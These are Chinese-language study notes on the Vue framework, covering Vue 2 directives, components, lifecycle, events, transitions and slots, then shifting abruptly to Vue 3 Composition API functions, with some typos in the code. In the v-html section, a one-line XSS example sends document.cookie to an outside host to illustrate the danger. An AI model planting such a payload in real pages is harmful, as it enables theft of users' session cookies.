VUE

vue官方教程地址:https://v2.cn.vuejs.org/v2/guide/

搭建vue环境

vue官方教程地址:https://v2.cn.vuejs.org/v2/guide/

直接用<script>标签 引入

直接下载并用 <script> 标签引入,Vue 会被注册为一个全局变量。

在开发环境下不要使用压缩版本,不然你就失去了所有常见错误相关的警告!

开发版本包含完整的警告和调试模式

生产版本删除了警告,37.72KB min+gzip

CDN引入

对于制作原型或学习,你可以这样使用最新版本:

<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>

对于生产环境,我们推荐链接到一个明确的版本号和构建文件,以避免新版本造成的不可预期的破坏:

<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16"></

npm引入

在用 Vue 构建大型应用时推荐使用 NPM 安装[1]。NPM 能很好地和诸如 webpackBrowserify 模块打包器配合使用。同时 Vue 也提供配套工具来开发单文件组件

# 最新稳定版
$ npm install vue@^2

为了使用Vue框架,可以在官网https://vuejs.org下载Vue类库文件,包括生产版本和开发版本。开发版本包含了完整的警告信息和调试信息,适用于前端应用软件的开发阶段,下载地址:

https://vuejs.org/js/vue.js

Vue框架的生产版本删除了警告信息,并进行了代码压缩,文件较小,下载地址

https://vuejs.org/js/vue.min.js

上述下载地址仅提供了Vue当前稳定版本的类库文件/此外,从CDN网站www.statisfile.org上也可以

基本使用(浏览器)

image-20250323140059918

备注

root容器中的代码被称为Vue模板

{{xxx}}中的xxx要写js表达式,而且会当作js语句来执行

一旦data中的数据发生改变,页面数据就会触发更新

关闭开发者提示

image-20250323140224597

就是设置

Vue.config.productionTip=false

插值语法

插值语法用于指定标签体内容

{{xxx}}在这个里面的xxx就是js表达式,这种语法叫插值语法,将表达式的值进行替换

vue指令

指令语法用于解析标签(标签属性,标签内容,绑定事件……)

v-bind

管理标签属性

动态的的指定属性的值

<a v-bind:hred="link"></a>
...
data:{
	link:"https://www.baidu.com"
}

它可以指定任何属性的值,并作为js表达式来解析,而且在解析的作用域内会暴露Vue实例的所有属性方法

简写形式:

<a :hred="link"></a>

v-model

双向数据绑定,只能用于表单元素

单向数据绑定:<input type="text" v-bind:value="num"/><br/>
双向数据绑定:<input type="text" v-model:value="num"/><br/>

v-model绑定的就是value,所以可以简写

双向数据绑定:<input type="text" v-model="num"/>
收集表单数据

inputv-model默认收集value属性就是写的值

radio中只收集value信息,如果没有配置,那就为空

checkboxv-model收集checked信息为flase|true,如果添加了value属性,那么收集的就是value值,而且需要绑定到数组

<input type="checkbox" value="apple" v-model:value="hobby"/>apple<br/>
<input type="checkbox" value="orange" v-model:value="hobby"/>banana<br/>

如果绑定的类型不是数组,那么依然只会收集true|false

select标签的收集

<select v-model="pos">
    <option value="" disabled>---请选择---</option>
    <option value="beijin">北京</option>
    <option value="shanghai">上海</option>
</select>

v-model也有修饰符

<input type="text" v-model:value="num"/><br/>
可以对收集的数据转换
比如输入123,接收到的原本是字符串num:"123"
用number限制之后,手机的会转换为数字
其他修饰符
.lazy	失去焦点才开始同步
.trim	去除前后空格

v-on

事件处理

<button v-on:click="num++"></button>

简写形式@

<button @click="num++"></button>

当触发事件的时候,就会运行语句,或者函数(vue中定义的函数)

<button @click="showInfo"></button>
new Vue({
    el: "#root",
    data: {
        num: 12
    },
    methods: {
        showInfo(e){
            console.log(e);
        }   
    }
})

函数默认会接受一个参数,就是这次点击事件,如果函数需要传参,调用的时候就需要加上(),传入相关参数,这是想要传入事件对象,就需要在里面写上

传入参数:<button @click="showInfo(1)"></button>
传入参数+事件:<button v-on:click="showInfo(1,$event)"></button>

事件修饰符

阻止默认行为:		<button @click.pervent="showInfo(1)"></button>
希望只触发一次:	<button @click.once="showInfo(1)"></button>
原生实现:
e.stopPropagation();
e.preventDefault();

还有更多的修饰符

  • .stop
  • .prevent
  • .capture
  • .self
  • .once
  • .passive
<!-- 阻止单击事件继续传播 -->
<a v-on:click.stop="doThis"></a>

<!-- 提交事件不再重载页面 -->
<form v-on:submit.prevent="onSubmit"></form>

<!-- 修饰符可以串联 -->
<a v-on:click.stop.prevent="doThat"></a>

<!-- 只有修饰符 -->
<form v-on:submit.prevent></form>

<!-- 添加事件监听器时使用事件捕获模式 -->
<!-- 即内部元素触发的事件先在此处理,然后才交由内部元素进行处理 -->
<div v-on:click.capture="doThis">...</div>

<!-- 只当在 event.target 是当前元素自身时触发处理函数 -->
<!-- 即事件不是从内部元素触发的 -->
<div v-on:click.self="doThat">...</div>

使用修饰符时,顺序很重要;相应的代码会以同样的顺序产生。因此,用 v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击。

2.1.4 新增

<!-- 点击事件将只会触发一次 -->
<a v-on:click.once="doThis"></a>

不像其它只能对原生的 DOM 事件起作用的修饰符,.once 修饰符还能被用到自定义的组件事件上。如果你还没有阅读关于组件的文档,现在大可不必担心。

2.3.0 新增

Vue 还对应 addEventListener 中的 passive 选项提供了 .passive 修饰符。

<!-- 滚动事件的默认行为 (即滚动行为) 将会立即触发 -->
<!-- 而不会等待 `onScroll` 完成  -->
<!-- 这其中包含 `event.preventDefault()` 的情况 -->
<div v-on:scroll.passive="onScroll">...</div>

这个 .passive 修饰符尤其能够提升移动端的性能。

按键修饰符

在监听键盘事件时,我们经常需要检查详细的按键。Vue 允许为 v-on 在监听键盘事件时添加按键修饰符:

<!-- 只有在 `key` 是 `Enter` 时调用 `vm.submit()` -->
<input v-on:keyup.enter="submit">

你可以直接将 KeyboardEvent.key 暴露的任意有效按键名转换为 kebab-case 来作为修饰符。

<input v-on:keyup.page-down="onPageDown">

在上述示例中,处理函数只会在 $event.key 等于 PageDown 时被调用。

按键码

keyCode 的事件用法已经被废弃了并可能不会被最新的浏览器支持。

使用 keyCode attribute 也是允许的:

<input v-on:keyup.13="submit">

为了在必要的情况下支持旧浏览器,Vue 提供了绝大多数常用的按键码的别名:

  • .enter
  • .tab
  • .delete (捕获“删除”和“退格”键)
  • .esc
  • .space
  • .up
  • .down
  • .left
  • .right

有一些按键 (.esc 以及所有的方向键) 在 IE9 中有不同的 key 值, 如果你想支持 IE9,这些内置的别名应该是首选。

你还可以通过全局 config.keyCodes 对象自定义按键修饰符别名

// 可以使用 `v-on:keyup.f1`
Vue.config.keyCodes.f1 = 112
系统修饰键

2.1.0 新增

可以用如下修饰符来实现仅在按下相应按键时才触发鼠标或键盘事件的监听器。

  • .ctrl
  • .alt
  • .shift
  • .meta

注意:在 Mac 系统键盘上,meta 对应 command 键 (⌘)。在 Windows 系统键盘 meta 对应 Windows 徽标键 (⊞)。在 Sun 操作系统键盘上,meta 对应实心宝石键 (◆)。在其他特定键盘上,尤其在 MIT 和 Lisp 机器的键盘、以及其后继产品,比如 Knight 键盘、space-cadet 键盘,meta 被标记为“META”。在 Symbolics 键盘上,meta 被标记为“META”或者“Meta”。

例如:

<!-- Alt + C -->
<input v-on:keyup.alt.67="clear">

<!-- Ctrl + Click -->
<div v-on:click.ctrl="doSomething">Do something</div>

请注意修饰键与常规按键不同,在和 keyup 事件一起用时,事件触发时修饰键必须处于按下状态。换句话说,只有在按住 ctrl 的情况下释放其它按键,才能触发 keyup.ctrl。而单单释放 ctrl 也不会触发事件。如果你想要这样的行为,请为 ctrl 换用 keyCodekeyup.17

.exact 修饰符

2.5.0 新增

.exact 修饰符允许你控制由精确的系统修饰符组合触发的事件。

<!-- 即使 Alt 或 Shift 被一同按下时也会触发 -->
<button v-on:click.ctrl="onClick">A</button>

<!-- 有且只有 Ctrl 被按下的时候才触发 -->
<button v-on:click.ctrl.exact="onCtrlClick">A</button>

<!-- 没有任何系统修饰符被按下的时候才触发 -->
<button v-on:click.exact="onClick">A</button>
鼠标按钮修饰符

2.2.0 新增

  • .left
  • .right
  • .middle

这些修饰符会限制处理函数仅响应特定的鼠标按钮。

:class

绑定样式

如果想用vue控制样式,可以使用绑定样式

<div class="basic" :class="xxx"> </div>

这里的xxx可以有多种写法

1、字符串写法

如果是字符串,那直接是那种样式

2、数组写法

会应用数组中的所有样式,而且可以动态修改,用于增加修改不同的样式

适用于要绑定的样式数量和名字都不确定

3、对象写法

xxx:{
	class1:true,
	class2:false,
	class3:true
}

一般用于确定样式的切换,样式的名字确定,个数不确定

:style

绑定style样式

原始写法
style="font-size:18px;"
如果想要动态计算
取巧,使用模板字符串
:style="`font-size:${num}px;`"
对象写法:
:style="{fontSize:num+'px'}"
或者直接使用对象接收
:style="styleObj"

v-show

条件渲染,值为false会将元素隐藏,设置display

<p v-show="true">...</p>

v-if

条件渲染,值为false会直接删除元素

可以用于某些元素添加属性的情况

<div v-if="obj.info">{{obj.info.a}}</div>

v-if可以和template标签配合使用,不会渲染留下template标签,减少一层结构

<template v-if="1 === 1">
	<div/>
	<div/>
</template>

v-for

vue
<ul>
	<li v-for="item in items">{item}</li>
</ul>

注意

希望谁变成多份,就在谁上面加上v-for

有一个非常重要的属下一定要加上,就是key属性

vue
<ul>
	<li v-for="item in items" :key="item.xxx">{item}</li>
</ul>

每个元素的key属性必须唯一,这是vue渲染中的依据,不然会导致元素添加删除导致整个列表重新渲染或者错位等情况。

还有一个遍历元素index

vue
<ul>
	<li v-for="(item,index) in items" :key="item.xxx">{item}</li>
    <!-- 小括号可不加,老版本可能出问题,in 可以改成 of -->
</ul>
除了遍历数组,也可以遍历对象
<li v-for="(value,key,index) in obj" :key="xxx"></li>

v-text

<div v-text="msg"></div>

会将msg整个放到标签里面替换原本的内容,而且是当成文本来解析

image-20250323161736563

v-html

会将文本解析为html,支持html结构解析

v-html会有安全问题

<a href="javascript:alert('1')">点我</a>
类似的标签会执行js代码

xss攻击
<a href="javascript:location.href='baidu.com?'+document.cookie"></a>

v-lock

vue渲染成功之后,就会删除元素的v-clock属性,这样就可以控制让vue介入之前页面不显示

//css
[v-clock]{
	display:none;
}
//html
<div v-clock>渲染成功</div>

防止未经解析的模板进入页面,使用css配合v-clock解决

v-once

只在初始化时渲染一次,之后不会触发更新

html
<h1 v-once>初始化时的n:{{n}}</h1>

v-pre

跳过模板解析,直接作为html,跳过所在节点的编译

html
<div v-pre>{{num}}</div>
-->
<div>{{num}}</div>

自定义指令

函数式:

js
directives:{
    big(){
        console.log(this);//this是windows
    }
}

他还接受了几个参数

image-20250323163718682

之类的渲染不靠返回值,靠的就是他自己的输入参数来修改,第一个参数是真实dom元素,可以用innerHTML来弄

第二个参数叫binding,就是一种关联关系,关心的是value,就是绑定的值

调用时机:

1、初次绑定时会被调用

2、指令所在的模板被重新解析时

对象式

js
directives:{
    big:{
        //一开始绑定的时候
        bind(element,binding){
        
        },
        //指令所在元素被插入页面时
        inserted(element,binding){
        	//只有在这个时候可以调用focus函数
        
        },
        //指令所在模板被成功解析时
        update(element,binding){
        	
        }
    }
}

因为bindupdate逻辑类似,所以才会有函数写法作为简写

Vue实例对象写法

el

el就是vue对象绑定的容器,可以在配置时候写,可以用各种选择器,但是对象和容器都是一对一的,只能一一对应!但是对于容器绑定,可以有两种写法

第一种:
new Vue({
	el:"#root"
})
第二种:
new Vue({
	...
}).$mount("#root")

data

data属性可以是一个对象,也可以是一个函数,如果是函数,返回值必须是对象(vue3只能写成函数形式)

data:{
	n:18
}

data(){
	return {
		n:18
	}
}

mothod

方法,最终会加载到vue实例对象上

computed

计算属性,和属性类似,只有当所依赖的属性发生变化时才会触发更新,本身有缓存机制(比函数好)、

computed:{
	fullname(){
		return firstName+LastName
	}
}

完整写法其实是

computed:{
	fullname:{
		get(){
			return firstName+LastName
		}
		set(){
			...
		}
	}
}

watch

监视属性

完整写法

js
watch:{
	num:{
		immediate:true,//配置初始化的时候就监视
		handler(newValue,oldValue){//初始化时传入第二个参数就是undefine
			...
		}
	}
}
js
简写:
watch:{
	num(newValue,oldValue){
		...
	}
}

通过vm也可以实现监视

css
vm.$watch(监视对象,配置对象)
比如:
vm.$watch("num",{
    immediate:true,//配置初始化的时候就监视
    handler(newValue,oldValue){//初始化时传入第二个参数就是undefine
        ...
})

如果要检测一个对象中的属性,可以按照下面的

js
watch:{
	'info.num':{
		...
	}
}

深度监视

js
配置对象中加上
deep:true

filters

过滤器,类似于函数,但是写法不一样

js
当前时间{{ time | timeFormatter}}

...
filters:{
	timeFormatter(value){
		...
		return ...
	}
}
将前面作为参数传入后面,会将返回值作为最终展示
可以串联,也可以传入参数
当前时间{{ time | timeFormatter('yyyy-MM--dd')}}

...
filters:{
	timeFormatter(value,formater='默认值'){
		...
		return ...
	}
}

template

容器中可以什么都不写,通过template来配置模板

new Vue({
    el: "#root",
    data: {
        num: 12,
        pos:""
    },
    template:`
    <div>{{num}}</div>
    `
})

此时template中的所有配置内容会直接代替原来的

<div id="root"></div>

所以其中template只能有一个根元素!

render

在脚手架环境中,需要使用render函数来渲染,因为没有模板解析器

import App from './App.vue'
new Vue({
  render: h => h(App),
}).$mount('#app')

要么引入完整的vue,要么使用render

默认引入的:

image-20250323174525904

  • common -> common js规范
  • esm -> ES6模块化规范
  • runtime ->缺少模板解析器

image-20250323174257844

引入完整版的

import Vue from "vue/dist/vue"
事实上传入的是一个函数来渲染
render(createElement){
	return createElement("h1","标题")
}

生命周期

Vue 实例生命周期

image-20250323165301823

image-20250323165333837

image-20250323165501124

  • beforeCreate

此时没有数据和方法

  • created

可以访问到数据和方法了

  • beforeMounte

没有编译的DOM结构

  • Mounted

编译完并且已经在页面上显示的

  • beforeUpdate

新数据,旧的页面

  • upodated

已经完成了更新

  • beforeDestroy

所有东西都可用,即将销毁

  • destroyed

销毁,可以在这里结束自己的定时器

特殊的生命周期$nextTick

this.$nextTick(()=>{
	在DOM节点更新完毕之后执行
})

vuex中新增的两个生命周期

  • beforeRouteEnter
  • beforeRouteLeave

原理篇

defineProperty

let person={}
为对象添加属性
Object.defineProperty(person,"name",{
    value:"zhangsan"
})
第一个参数是对象,然后是要添加的属性名,最后是配置项
console.log(person)

image-20250323142841631

但是当前属性是不可枚举的

Object.keys(person)
[]

完整一点的配置项

Object.defineProperty(person,"name",{
    value:"zhangsan",
    enumerable:true,//控制可以枚举
    writable:true,//控制可以修改
    configurable:true//控制属性是否可以被删除
})

代理形式

Object.defineProperty(person,"name",{
    get(){
        return "hello"
    },
    set(val){
        ...
    }
})

备注

这种代理劫持就是实现响应式的关键(vue2用的就是defineProperty)

vue把数据存储在_data属性中

添加对象属性

vue中要给一个对象添加属性需要使用Vue.set()或者vm.$set()才可以添加代理对象

Vue.set(target,key,value)
为student添加属性gender
Vue.set(vm.student,'gender','男')
vm.$set(vm.student,'gender','男')

监听数组

在Vue 2中,由于JavaScript的限制,Vue不能直接检测到数组的变化,

vue监听数组只监听数组改变时调用的方法

方法名功能描述参数说明
push将一个或多个元素添加到数组的末尾item1, item2, ...:要添加到数组末尾的元素列表。
pop删除数组的最后一个元素无参数
shift删除数组的第一个元素无参数
unshift将一个或多个元素添加到数组的开头item1, item2, ...:要添加到数组开头的元素列表。
splice通过删除现有元素和/或添加新元素来更改数组的内容start:开始修改的数组索引;deleteCount:要删除的元素数量;item1, item2, ...:要添加到数组中的元素列表。
sort对数组元素进行排序compareFunction:可选,用来指定按某种顺序进行排序的函数。如果没有提供,数组元素将按照转换为字符串的Unicode码位点进行排序。
reverse颠倒数组中元素的顺序无参数
Vue.set设置对象的属性,确保新属性是响应式的target:要修改的对象;key:要设置的属性名;value:要设置的属性值。
// 使用Vue.set添加响应式属性
Vue.set(this.array, 0, 'setItem'); // 设置数组索引为0的元素为'setItem'

组件化编程

非单文件组件

第一步、创建组件

js
const school = Vue.extend({
	//除了el,其他配置都可以在这里
	template:`
		<h1>School</h1>
	`
})

第二步、注册组件(局部注册)

js
new Vue({
    el:"#root",
    components:{school}
})

第三步、编写组件标签

html
<school></school>

全局注册:

js
Vue.component("school",school)
Vue.component(组件名,组件)

注意

组建的data必须为函数写法,组件名称可以用CapCase或者cap-case两种写法

组件属性name在开发者工具中显示的名字

const school = Vue.extend(options)可以简写为const school = options

vue组件是由VueComponent构造函数生成的,而且这个构造函数是由函数返回的,所以每个组件的构造函数都是唯一的,VueComponent构造函数原型接入了Vue实例的原型对象,因此一些方法共享的,在Vue原型对象上的配置vue组件实例都共享

单文件组件

单文件组件是.vue后缀的文件,处理方式有

  • webpack搭建工作流
  • vue-cli(vue脚手架搭建工作流)
<template>
  组建的结构
</template>
<script>
	组建的交互
</script>
<style>
	组建的样式
</style>
搭建脚手架环境

第一步、全局安装@vue/cli

npm i -g @vue/cli

这样就可以全局使用vue命令

第二步、使用命令创建项目

vue create 项目名

第三步、启动项目

#进入项目目录之后
num run serve

项目结构:image-20250323173831464

组件其他属性

ref

组件中给标签加上ref属性,那么组件对象的$refs属性上就会有对应的元素,如果是浏览器就有的标签,那拿到的是真实DOM,如果是自定义组件,那拿到的就是组件对象

<h1 ref="obj1"></h1>
<school ref="obj2"></school>
log(this.$refs.obj1)

props

props用于父组件和子组件通讯,配置在组件配置对象上

完整写法

props: {
  name:{
    type:String,
    required:true
  }
}

简写:

props: ['name','age']

传递参数:

<template>
  <my-child name="zhangsan" age="12"></my-child>
</template>

因为这里没加数据绑定,所以全都是字符串数据

父组件向子组件传数据可以直接使用属性来传递值

子组件想给父组件传递信息,也可以通过这个props属性,具体操作如下

  1. 父组件向子组件通过 props传递属于父组件的回调
  2. 子组件调用回调函数,传递子组件的数据
  3. 父组件在会调用接收到子组件的数据,而且可以操作父组件

除此之外还有其他方式可以在组件之间通讯

  • 事件总线
  • 自定义事件
  • 消息订阅与发布(第三方库)
  • 将数据提升一层让双方可见
  • vue3providereject
  • vuex

不在props中配置的属性,但是在父组件是传递了的属性最终会在$attrs属性上,也就是说

arguments=props+$sttrs

mixin

混入

混入就是一个vue配置,当出现大量需要使用的通用配置,就可以使用混入

mixin.js

js
export default {
    methods: {
        random() {
            return Math.floor(Math.random() * this.length);
        }
    }
}

应用混合:

vue
<script>
import mixins from '../mixin';
  export default {
    name: "MyChild",
    mixins: [mixins]
  }
</script>

所有组件中的东西都可以混入

如果发生冲突以自己定义的为主,但是生命周期钩子都会处理,而且以混入先执行

全局混入:

import mixins from './mixin';
Vue.mixin(mixins)

插件

可以增强vue

插件的本质是一个对象,但是这个对象必须包含install方法

plugin.js

export default {
	install(Vue){
		
	}

}

先应用插件,在创建vue实例

import plugin from './plugin'
Vue.use(plugin)

插件的关键是install能收到参数Vue,也就是vue实例的缔造者,这样我们可以添加全局配置或者在原型上加上各种东西,全局自定义指令等等。。

scoped

这个添加到<style>标签上,会指定作用域直到当前作用域,原理是添加属性,然后用属性选择器

image-20250323233708668

image-20250323233851551

<template>
  <div>
    <MyList />
    <h1/>
  </div>
</template>

可以看到都加上了属性和属性选择器

浏览器本地存储

localStorage 是 Web Storage API 的一部分,它提供了一种在浏览器中存储键值对数据的方法,这些数据在页面会话之间持久存在。以下是 localStorage 的主要方法及其作用:

方法名作用
localStorage.setItem(key, value)将指定的键值对保存到 localStorage。如果键已存在,则更新其值。
localStorage.getItem(key)localStorage 中获取指定键的值。如果键不存在,则返回 null
localStorage.removeItem(key)localStorage 中移除指定的键值对。
localStorage.clear()清除 localStorage 中所有的键值对。
localStorage.key(index)获取 localStorage 中第 index 个键的名字。
localStorage.length获取 localStorage 中键值对的数量。

sessionStorage使用方式与上面一致,用于临时存储数据,仅在当前会话(页面)中有效,关闭页面后数据会被清除。

备注

浏览器只能存储String类型

转换JSON.stringify({a:12})JSON.parse('{"a":12}')

自定义事件

父组件绑定,子组件传数据

父组件绑定
<my-child @myEvent="fatherHandler"></my-child>
或者:
<my-child ref="student"></my-child>
this.$refs.student.$on("myEvent",this.fatherHandler)

子组件出发事件
mounted() {
  let childData=1
  this.$emit('myEvent',childData)6
}

解绑事件,子组件调用

this.$off("事件名")	  //解绑一个自定义事件
this.$off(['a','b'])	//解绑多个自定义事件
this.$off()				//解绑所有事件

全局事件总线

创建一个的vue组件对象或者vue,所有组件都在上面绑定事件,触发事件,这样就能实现不同组件之间的通讯,这样的对象被称为事件总线bus,这种对象需要向全体组件可见,可以加到Vue的原型对象上

哪个组件接收参数,就可以在bus上绑定事件,传递参数的需要激活相同的事件

这样的bus创建方式:

const bus = Vue.extend({})
Vue.prototype.$bus = new bus()

也可以使用整个应用vm来当事件总线

new Vue({
  beforeCreate() {
    Vue.prototype.$bus=this;
  }
})

消息订阅与发布

num i pubsub-js

第三方库pubsub-js

import pubsub from pubsub-js

订阅消息:
pubsub.subscribe("消息名",回调函数)

发布消息
pubsub.publish("消息名",数据参数)

动画效果

将需要实现动画或者过的的元素用transition标签包裹起来,这样vue就会再合适的时候加上样式

类名
v-enter-active进入时激活
v-leave-active离开时激活
v-enter进入的起点(会瞬间加上,告诉过度离开的起点)
v-enter-to进入的终点
v-leave离开的起点
v-leave-to离开的终点

一般来说进入的重点就是离开的起点

进入的起点就是离开的终点

image-20250324163747191

如果给transition设置了属性name,比如name="xxx",这样家的样式就是xxx-enter-active

而且一上来是没有动画的,如果需要的话,加上属性:appear="true"或者直接一个appear

<div>
    <button @click="flag = ! flag">点我</button><br/>
    <transition appear>
      <div v-show="flag" class="a"></div>
    </transition>
  </div>
  
.v-enter-active, .v-leave-active {
    transition: all .5s;
  }
  .v-enter, .v-leave-to {
    transform: translateX(-100%);
  }
  .v-enter-to, .v-leave {
    transform: translateX(0);
  }

transition只能给一个元素加上过度,而transition-group就可以给多个元素加上过度,但是需要我们给里面的每个元素加上key属性

<transition-group appear>
  <li v-for="item in ['apple','banana','orange']" :key="item">
    {{item}}
  </li>
</transition-group>

集成第三方动画:

https://animate.style/

安装:
npm install animate.css --save
引入
import 'animate.css';

安装 Animate.css 后,将类 animate__animated 以及任意 动画名称 添加到元素(不要忘记 animate__ 前缀!):

html
<h1 class="animate__animated animate__bounce">An animated element</h1>

其实就是得加上animate__animatedanimate__bounce前缀

<transition appear name="animate__animated animate__bounce"
enter-active-class="animate__backInLeft"	//设置进入的动画
leave-active-class="animate__backOutDown"	//设置离开的动画
>
  <div v-show="flag" class="a"></div>
</transition>

配置代理

详细可以查看vue-cli的配置,vue自带的代理就是在这里、

devServer.proxy#
  • Type: string | Object

    如果你的前端应用和后端 API 服务器没有运行在同一个主机上,你需要在开发环境下将 API 请求代理到 API 服务器。这个问题可以通过 vue.config.js 中的 devServer.proxy 选项来配置。

    devServer.proxy 可以是一个指向开发环境 API 服务器的字符串:

    module.exports = {
      devServer: {
        proxy: 'http://localhost:4000'
      }
    }

    这会告诉开发服务器将任何未知请求 (没有匹配到静态文件的请求) 代理到http://localhost:4000

    如果你想要更多的代理控制行为,也可以使用一个 path: options 成对的对象。完整的选项可以查阅 http-proxy-middleware

slot

默认插槽
子组件配置插槽
<button type="submit">
  <slot>默认内容</slot>
</button>

父组件传入内容
<submit-button>
  Save
</submit-button>

最终:
<button type="submit">
  Save
</button>
具名插槽

有时我们需要多个插槽放置不同的位置,因此需要给插槽配置名字

<div class="container">
  <header>
    <slot name="header"></slot>
  </header>
  <main>
    <slot></slot>
  </main>
  <footer>
    <slot name="footer"></slot>
  </footer>
</div>

一个不带 name<slot> 出口会带有隐含的名字“default

在向具名插槽提供内容的时候,我们可以在一个 <template> 元素上使用 v-slot 指令,并以 v-slot 的参数的形式提供其名称:

<base-layout>
  <template v-slot:header>
    <h1>Here might be a page title</h1>
  </template>

  <p>A paragraph for the main content.</p>
  <p>And another one.</p>

  <template v-slot:footer>
    <p>Here's some contact info</p>
  </template>
</base-layout>

<template> 元素中的所有内容都将会被传入相应的插槽。任何没有被包裹在带有 v-slot<template> 中的内容都会被视为默认插槽的内容。

仍然可以在一个 <template> 中包裹默认插槽的内容:

<template v-slot:default>
    <p>A paragraph for the main content.</p>
    <p>And another one.</p>
</template>

注意

注意 v-slot 只能添加在 <template>

作用域插槽

有时让插槽内容能够访问子组件中才有的数据是很有用的。例如,设想一个带有如下模板的 <current-user> 组件:

<span>
  <slot>{{ user.lastName }}</slot>
</span>

我们可能想换掉备用内容,用名而非姓来显示。如下:

<current-user>
  {{ user.firstName }}
</current-user>

然而上述代码不会正常工作,因为只有 <current-user> 组件可以访问到 user,而我们提供的内容是在父级渲染的。

为了让 user 在父级的插槽内容中可用,我们可以将 user 作为 <slot> 元素的一个 attribute 绑定上去:

<span>
  <slot v-bind:user="user">
    {{ user.lastName }}
  </slot>
</span>

绑定在 <slot> 元素上的 attribute 被称为插槽 prop。现在在父级作用域中,我们可以使用带值v-slot 来定义我们提供的插槽 prop 的名字:

<current-user>
  <template v-slot:default="slotProps">
    {{ slotProps.user.firstName }}
  </template>
</current-user>
独占默认插槽的缩写语法

在上述情况下,当被提供的内容只有默认插槽时,组件的标签才可以被当作插槽的模板来使用。这样我们就可以把 v-slot 直接用在组件上:

<current-user v-slot:default="slotProps">
  {{ slotProps.user.firstName }}
</current-user>

注意默认插槽的缩写语法不能和具名插槽混用,因为它会导致作用域不明确

具名作用域插槽
<current-user>
  <template v-slot:default="slotProps">
    {{ slotProps.user.firstName }}
  </template>

  <template v-slot:other="otherSlotProps">
    ...
  </template>
</current-user>
具名插槽的缩写

v-onv-bind 一样,v-slot 也有缩写,即把参数之前的所有内容 (v-slot:) 替换为字符 #。例如 v-slot:header 可以被重写为 #header

<base-layout>
  <template #header>
    <h1>Here might be a page title</h1>
  </template>

  <p>A paragraph for the main content.</p>
  <p>And another one.</p>

  <template #footer>
    <p>Here's some contact info</p>
  </template>
</base-layout>

##### 工作原理

Vue 3 在组件挂载时,会自动将模板中 `ref="hello"` 对应的 DOM 元素或组件实例赋值给 `hello.value`。

这类似于 Vue 2 中的 `this.$refs.hello`,但更加类型安全和直观。

#### `reactive`

* 作用:定义一个对象类型的响应式数据(基本类型不要用它,要用ref函数)
* 语法:const代理对象=reactive(源对象)接收一个对象(或数组),返回一个代理对象(proxy对象)。
* reactive定义的响应式数据是深层次的”。
* 内部基于ES6的Proxy实现,通过代理对象操作源对象内部数据进行操作。

`reactive`函数只能代理对象类型,代理之后,就是深层次的代理

#### `computed`

与Vue2.x中computed配置功能一致

let fullName=computed(()=>{ return firstName+lastName })


#### `watch`函数

与Vue2.x中watch配置功能一致。两个小“坑:

* 监视reactive定义的响应式数据时:oldValue无法正确获取、强制开启了深度监视(deep配置失效)。
* 监视reactive定义的响应式数据中某个属性时:deep配置有效。

```css
watch(person,(newValue,oldValue)=>{
  console.log(newValue)
},{
  immediate: true,
  deep: true,
})

监视多个响应式数据

js
watch([person,school],(newValue,oldValue)=>{
  这时候value全是数组
})

我们想监视reactive所以以数据的一个普通属性时,如果你这么写

js
watch(person.name,(newValue,oldValue)=>{
  ...
})

就会警告,因为监视的必须是ref或者reactive定义的对象,这时候就要把前面写成一个函数才行,函数返回值监视

js
watch(()=>person.name,(newValue,oldValue)=>{
  ...
})
同理,某些属性
watch([()=>person.name,()=>person.age],(newValue,oldValue)=>{
  ...
})

特殊情况:

js
let person ={
  name:"HelloWorld",
  age:18,
  job:{
    j:{
      salary:20
    }
  }
}
person=reactive(person)
watch(person.job,(newValue,oldValue)=>{//person.job也是代理对象,因此默认是深度监视的
  console.log('检测到变化')
})
watch(()=>person.job,(newValue,oldValue)=>{//但是按照函数返回值的写法,监视不会深度监视,只检测浅层次的
  console.log('检测到变化')
})

WatchEffect函数

  • watch的套路是:既要指明监视的属性,也要指明监视的回调。

  • watchEffect的套路是:不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性。

  • watchEffect有点像computed:

    • 但computed注重的计算出来的值(回调函数的返回值),所以必须要写返回值。
    • 而watchEffect更注重的是过程(回调函数的函数体),所以不用写返回值。
//watchEffect所指定的回调中用到的数据只要发生变化,则直接重新执行回调。 
watchEffect(()=>{
    const x1 =sum.value 
    const x2 = person.age
    console.log('watchEffect配置的回调执行了')
})

自定义hook函数

  • 什么是hook?一一本质是一个函数,把setup函数中使用的CompositionAPl进行了封装
  • 类似于vue2.x中的mixin。
  • 自定义hook的优势:复用代码,让setup中的逻辑更清楚易懂

image-20250325002006729

将上述数据、方法、生命周期放在一起,这样别的组件也可以复用,逻辑更好

文件结构

image-20250325002628748

编写代码:

js
import {onMounted, reactive} from "vue";

export default function(){
    //数据
    let point=reactive({
        x:0,y:0
    })
    //方法
    function savePoint(){

    }
    //生命周期
    onMounted(function () {})
    return point
}

使用hook

js
import userPoint from "@/hooks/userPoint";
let point = userPoint()

原理大概是指针调用函数,实际上组件指针执行的内部代码

toRef

  • 作用:创建一个ref对象,其value值指向另一个对象中的某个属性值。
  • 语法:const name=toRef(person,'name')
  • 应用:要将响应式对象中的某个属性单独提供给外部使用时。
  • 扩展:toRefstoRef功能一致,但可以批量创建多个ref对象,语法:toRefs(person)

setup注意点

  • setup执行的时机 。在beforeCreate之前执行一次,this是undefined
  • setup的参数
    • props:值为对象,包含:组件外部传递过来,且组件内部声明接收了的属性。
    • context:上下文对象
      • attrs:值为对象,包含:组件外部传递过来,但没有在props配置中声明的属性,相当于this.$attrs
      • slots:收到的插槽内容,相当于this.$slots
      • emit:分发自定义事件的函数,相当于this.$emit
setup(props,context){

}

其他composition API

shallowReactiveshallowRef

  • shallowReactive:只处理对象最外层属性的响应式(浅响应式)。
  • shallowRef:只处理基本数据类型的响应式,不进行对象的响应式处理 用于保护响应式数据,不希望修改
  • 什么时候使用?
    • 如果有一个对象数据,结构比较深,但变化时只是外层属性变化===>shallowReactive
    • 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生新的对象来替换===>shallowRef

使用:

shallowReactive

js
shallowReactive({
	name:'zhangSan',
	age:18
})
//只能用来代理普通对象,如果用来代理响应式对象,那就不会起作用

shallowRef

js
//shallowRef也只能用来代理普通对象,不能代理响应式对象!
person=shallowRef({那么:‘zhangSan})
//它的原理就是每次返回的value类型不是Proxy,而是Object

readonlyshallowReadonly

  • readonly:让一个响应式数据变为只读的(深只读)。
